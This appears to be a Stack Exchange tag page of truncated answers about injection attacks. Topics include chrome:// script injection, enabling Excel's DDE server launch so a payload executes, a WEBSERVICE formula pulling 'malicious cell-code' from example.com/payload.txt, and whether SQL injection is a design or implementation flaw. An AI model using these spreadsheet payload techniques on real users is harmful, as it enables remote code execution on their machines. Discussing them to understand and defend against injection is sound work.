New answers tagged injection
0
TL;DR
Is there any chrome:// url that allows script injection?
And be one of the many on their glory list? I assume people are getting paid for this.
I found you can run straight system commands through chrome:// urls
What system commands can one run specifically through an internal chrome page? date, cal, rm? This statement does contradict with the ...
3
Finally found the reason why the payload were not executing: DDE launch was disabled in Excel options.
If someone has the same issue, this setting can be found in
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch
Reference https://docs.microsoft.com/en-us/office365/troubleshoot/security/...
0
I haven't tested this, but it might be possible to get this to run using the WEBSERVICE function. According to microsoft you can update cells with the function, then combining with this mimecast article it appears you could load your malicious "cell-code" using this function.
It would look something like this:
=WEBSERVICE("http://example.com/payload.txt")
...
1
Given a competent software architect, I would say the biggest issue tends to be implementation, and more specifically individuals that lack knowledge and training about secure coding best practice.
To qualify this short answer, I will contrast with design and show that design covers a broad space, some design is prescribed and defined by others, the rest, ...
2
Injections like SQL injection, XSS, etc are possible due to the possible combination of code and data within the same string and because developers construct such strings using untrusted and insufficiently validated user input.
The possibility to mix code and data inside the same string is deep in the design of SQL, HTML+Javascript, ... This is similar to ...
3
This can be both, but the main responsibility for such problems is design.
Independent on design, if developer is not forced to create a code that is vulnerable to SQL injection, but still creates it, it is an implementation problem. It means, developer either does not understand the problem, or understand but doesn't want to create a code that is resistant ...
Top 50 recent answers are included
